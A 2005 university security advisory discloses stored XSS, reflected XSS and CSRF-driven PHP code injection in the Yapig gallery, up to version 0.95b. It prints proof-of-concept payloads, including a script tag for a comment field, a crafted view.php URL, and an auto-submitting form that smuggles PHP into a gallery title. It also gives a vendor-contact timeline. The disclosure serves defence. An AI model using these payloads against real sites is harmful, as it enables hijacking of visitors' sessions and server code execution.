TUVSA-0510-001.txt

`===========================================================  
Yapig: XSS / Code Injection Vulnerability  
===========================================================  
Technical University of Vienna Security Advisory  
TUVSA-0510-001, October 13, 2005  
===========================================================  
  
  
Affected applications  
----------------------  
  
Yapig (yapig.sourceforge.net)  
  
Versions 0.95b and prior.  
  
  
Description  
------------  
  
  
1.) Stored XSS  
  
An attacker can include malicious JavaScript by posting an image-related comment and inserting something like the following into the "Homepage" form field:  
  
"><script>alert('hi')</script>  
  
This attack falls under the category of stored cross-site scripting and doesn't require the attacker to be logged in.  
  
  
2.) Reflected XSS  
  
An attacker can include malicious JavaScript by tricking a user into clicking a link to the following URL:  
  
http://your-server/path-to-yapig/view.php?gid=1&phid=1&img_size=><script>alert('hi')</script>  
  
The fields "your-server" and "path-to-yapig" in the given URL have to be adjusted accordingly. The parameters "gid=1" and "phid=1" assume that there exist a gallery and a photo with ID 1 and can be adjusted as well.  
  
Moreover, the width of the image being viewed has to be less than $MAX_IMG_SIZE (set inside config.php) because otherwise, the vulnerable variable $img_size is set to a safe value inside the if-branch on line 120 of view.php. And finally, register_globals has to be active.  
  
  
3.) Code Injection  
  
An attacker can inject arbitrary PHP code into a gallery's "guid_info.php" file by tricking the logged-in admin into clicking a link to a page with the following contents:  
  
<form method="post" action="http://your-server/path-to-yapig/yapig095b/modify_gallery.php?action=mod_info&gid=1">  
<input value='TestGallery"; echo "evil' name="title" type="text">  
<input value="TestAuthor" name="author" type="text">  
<input value="TestDate" name="date" type="text">   
<input value="" name="dir" type="text">  
<input value="TestDescription" name="desc" type="text">  
<input type="submit">  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
As for vulnerability #2, "your-server", "path-to-yapig", "gid" and "phid" can be adjusted.  
  
Apart from this, Yapig seems to be susceptible to "Cross-Site Request Forgery" (CSRF) attacks in general. However, this problem is not limited to Yapig, but affects a large number of comparable web applications available at this time.  
  
  
Solution  
---------  
  
Attempts to contact the authors were not successful until now, so there is no official solution available yet.  
  
Timeline:  
  
September 28, 2005: Attempt to contact Yapig developers via "natasab at users.sourceforge.net".  
  
October 5, 2005: Attempt to contact Yapig developers via Sourceforge bug tracker.  
  
October 13, 2005: Advisory submission.  
  
  
Nenad Jovanovic  
Secure Systems Lab   
Technical University of Vienna   
www.seclab.tuwien.ac.at  
  
`